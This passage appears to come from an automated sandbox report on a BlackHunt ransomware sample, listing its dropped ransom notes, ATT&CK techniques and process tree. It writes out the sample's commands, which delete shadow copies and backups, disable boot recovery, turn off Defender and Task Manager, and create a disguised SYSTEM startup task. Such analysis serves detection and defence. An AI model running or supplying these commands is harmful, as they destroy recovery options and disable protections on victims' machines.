File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Galapagos	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ckb\#BlackHunt_ReadMe.hta	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\#BlackHunt_ReadMe.txt	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\#BlackHunt_ReadMe.txt	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\#BlackHunt_Private.key	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Mexico_City	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Hovd	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Adak	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-core-ui.xml	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-core.xml	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\GMT	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File created	C:\Program Files\Java\jre7\lib\security\#BlackHunt_ReadMe.hta	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-editor-mimelookup_ja.jar	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\or\#BlackHunt_Private.key	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\vlc.mo	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\packetizer\#BlackHunt_Private.key	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationLeft_SelectionSubpicture.png	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\menu_style_default_Thumbnail.png	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_de.properties	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.artifact.repository_1.1.300.v20131211-1531.jar	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jre7\lib\content-types.properties	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\#BlackHunt_ReadMe.hta	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng32.clx	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File created	C:\Program Files\DVD Maker\de-DE\#BlackHunt_ReadMe.txt	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaSansDemiBold.ttf	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Luxembourg	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\WaitStep.MOD	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File created	C:\Program Files (x86)\Google\Update\#BlackHunt_ReadMe.txt	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\#BlackHunt_Private.key	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\EST5	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.net.nl_ja_4.4.0.v20140623020002.jar	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\locale\core_ja.jar	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sk\#BlackHunt_ReadMe.hta	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Helsinki	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata.nl_zh_4.4.0.v20140623020002.jar	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-compat_zh_CN.jar	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#BlackHunt_ReadMe.txt	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Noumea	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2672	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1616	vssadmin.exe
3020	vssadmin.exe
2276	vssadmin.exe
1572	vssadmin.exe
1044	vssadmin.exe
1236	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3108	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3180	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
3616	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
Token: SeRestorePrivilege	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
Token: SeBackupPrivilege	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
Token: SeTakeOwnershipPrivilege	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
Token: SeAuditPrivilege	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
Token: SeSecurityPrivilege	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
Token: SeIncBasePriorityPrivilege	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
Token: SeBackupPrivilege	1292	vssvc.exe
Token: SeRestorePrivilege	1292	vssvc.exe
Token: SeAuditPrivilege	1292	vssvc.exe
Token: SeBackupPrivilege	2008	wbengine.exe
Token: SeRestorePrivilege	2008	wbengine.exe
Token: SeSecurityPrivilege	2008	wbengine.exe
Token: SeSecurityPrivilege	1988	wevtutil.exe
Token: SeSecurityPrivilege	2968	wevtutil.exe
Token: SeBackupPrivilege	2968	wevtutil.exe
Token: SeBackupPrivilege	1988	wevtutil.exe
Token: SeSecurityPrivilege	3500	wevtutil.exe
Token: SeBackupPrivilege	3500	wevtutil.exe
Token: SeSecurityPrivilege	2892	wevtutil.exe
Token: SeBackupPrivilege	2892	wevtutil.exe
Token: SeSecurityPrivilege	1172	wevtutil.exe
Token: SeBackupPrivilege	1172	wevtutil.exe
Token: SeDebugPrivilege	3108	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1656 wrote to memory of 2668	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	30
PID 1656 wrote to memory of 2668	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	30
PID 1656 wrote to memory of 2668	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	30
PID 1656 wrote to memory of 2668	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	30
PID 1656 wrote to memory of 1784	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	31
PID 1656 wrote to memory of 1784	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	31
PID 1656 wrote to memory of 1784	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	31
PID 1656 wrote to memory of 1784	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	31
PID 1656 wrote to memory of 2720	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	152
PID 1656 wrote to memory of 2720	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	152
PID 1656 wrote to memory of 2720	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	152
PID 1656 wrote to memory of 2720	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	152
PID 2668 wrote to memory of 2744	2668	cmd.exe	149
PID 2668 wrote to memory of 2744	2668	cmd.exe	149
PID 2668 wrote to memory of 2744	2668	cmd.exe	149
PID 1656 wrote to memory of 2748	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	148
PID 1656 wrote to memory of 2748	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	148
PID 1656 wrote to memory of 2748	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	148
PID 1656 wrote to memory of 2748	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	148
PID 1656 wrote to memory of 2684	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	146
PID 1656 wrote to memory of 2684	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	146
PID 1656 wrote to memory of 2684	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	146
PID 1656 wrote to memory of 2684	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	146
PID 1784 wrote to memory of 2660	1784	cmd.exe	32
PID 1784 wrote to memory of 2660	1784	cmd.exe	32
PID 1784 wrote to memory of 2660	1784	cmd.exe	32
PID 1656 wrote to memory of 2892	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	144
PID 1656 wrote to memory of 2892	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	144
PID 1656 wrote to memory of 2892	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	144
PID 1656 wrote to memory of 2892	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	144
PID 1656 wrote to memory of 2644	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	143
PID 1656 wrote to memory of 2644	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	143
PID 1656 wrote to memory of 2644	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	143
PID 1656 wrote to memory of 2644	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	143
PID 1656 wrote to memory of 2764	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	155
PID 1656 wrote to memory of 2764	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	155
PID 1656 wrote to memory of 2764	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	155
PID 1656 wrote to memory of 2764	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	155
PID 2720 wrote to memory of 2548	2720	cmd.exe	138
PID 2720 wrote to memory of 2548	2720	cmd.exe	138
PID 2720 wrote to memory of 2548	2720	cmd.exe	138
PID 1656 wrote to memory of 2104	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	135
PID 1656 wrote to memory of 2104	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	135
PID 1656 wrote to memory of 2104	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	135
PID 1656 wrote to memory of 2104	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	135
PID 1656 wrote to memory of 2692	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	133
PID 1656 wrote to memory of 2692	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	133
PID 1656 wrote to memory of 2692	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	133
PID 1656 wrote to memory of 2692	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	133
PID 1656 wrote to memory of 2524	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	131
PID 1656 wrote to memory of 2524	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	131
PID 1656 wrote to memory of 2524	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	131
PID 1656 wrote to memory of 2524	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	131
PID 1656 wrote to memory of 2556	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	33
PID 1656 wrote to memory of 2556	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	33
PID 1656 wrote to memory of 2556	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	33
PID 1656 wrote to memory of 2556	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	33
PID 1656 wrote to memory of 2972	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	126
PID 1656 wrote to memory of 2972	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	126
PID 1656 wrote to memory of 2972	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	126
PID 1656 wrote to memory of 2972	1656	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe	126
PID 2748 wrote to memory of 2572	2748	cmd.exe	124
PID 2748 wrote to memory of 2572	2748	cmd.exe	124
PID 2748 wrote to memory of 2572	2748	cmd.exe	124

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
"C:\Users\Admin\AppData\Local\Temp\7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2668
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1784
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2204
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1052
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe" /F
  2⤵
  PID:1996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2644
- C:\Windows\System32\cmd.exe
